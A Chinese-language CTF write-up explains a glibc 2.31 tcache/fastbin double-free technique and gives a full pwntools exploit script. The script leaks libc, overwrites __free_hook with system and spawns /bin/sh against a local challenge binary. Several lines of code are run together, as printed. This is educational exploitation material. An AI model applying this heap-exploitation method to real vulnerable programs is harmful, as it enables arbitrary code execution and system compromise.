double free(2.31)
2.31版本下的UAF(double free)
知识点
引用之前校赛的第二道题目secret,不同的是假如我们删除了edit函数,那就需要用double free来实现对bin中堆块的编辑,但是这又不同于2.23版本,小于0x420的堆块会先进入到tcache bin中,我们要先将tcache bin填满7个,再按照chunk0->chunk1->chunk0的顺序填入fastbin中(double free),之后把tcache bin的7个堆块申请出来,现在tcache bin就没有堆块了,fastbin中还有堆块,这个情况下我们再从fastbin申请一个堆块,首先会将当前的堆块申请出来,然后把它后面的堆块链入tcache bin中,注意由于我们的顺序是chunk0->chunk1->chunk0,那么现在第一个chunk0已经被申请出来,申请的同时修改fd指针为free_hook,还在bin中的chunk0的fd指针也会被修改,那么现在tcache bin中就为chunk1->chunk0->free_hook。之后就正常做了。
例题
把菜单写好
然后申请一个大于0x420的堆块,释放进unsorted bin再申请一段回来,泄露libc地址,从而拿到libc基地址
之后写一个循环,申请4号到12号堆块,接着free前7个堆块,他们会进入tcache bin中
接下来就是double free,由于tcache bin被填满了,接下来释放的堆块会进入fastbin中,我们只有一次UAF的机会,所以将其用在第一个chunk12,这样我们把第三个chunk12申请出来修改fd指针时,bin中的chunk12才可以被修改。
把tcache bin中的堆块申请出来,再申请fastbin中的第一个堆块,该堆块申请出来并修改fd指针为free_hook后,它后面链着的堆块会被链入tcache bin中,那么此时的tcache bin里面也就是11->12->free_hook
最后我们把free_hook申请出来再修改为system即可,常规思路。
完整exp:
from pwn import *
io=process("./double_free")libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')context(os="linux",arch="amd64",log_level="debug")def add(index,size,content):
io.sendlineafter(b'choice:\n',b'1')
io.sendlineafter(b'index:\n',str(index).encode())
io.sendlineafter(b'size:\n',str(size).encode())
io.sendafter(b'content:\n',content)
def delete(index):
io.sendlineafter(b'choice:\n',b'2')
io.sendlineafter(b'index:\n',str(index).encode())
def show(index):
io.sendlineafter(b'choice:\n',b'4')
io.sendlineafter(b'index:\n',str(index).encode())
def UAF(index):
io.sendlineafter(b'choice:\n',b'777')
io.sendlineafter(b'index:\n',str(index).encode())
add(1,0x420,b"\n")add(2,0x20,b"\n")
delete(1)
add(3,0x60,b"\n")
show(3)
leak_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))log.success('leak_addr is -->' + hex(leak_addr))libc_base = leak_addr - 0x1ecf0alog.success('libc_base is -->' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']system = libc_base + libc.sym['system']
for i in range(9):
add(i+4,0x48,b'\n')
for i in range(7):
delete(i+4)
#gdb.attach(io)UAF(12)delete(11)delete(12)#12 ->11 ->12
for i in range(7):
add(i+4,0x48,b'\n')
add(12,0x48,p64(free_hook))
#11 ->12 -> free_hook
add(13,0x48,b'\n')add(14,0x48,b'\n')add(13,0x48,p64(system))add(14,0x20,b'/bin/sh\x00')delete(14)
io.interactive()






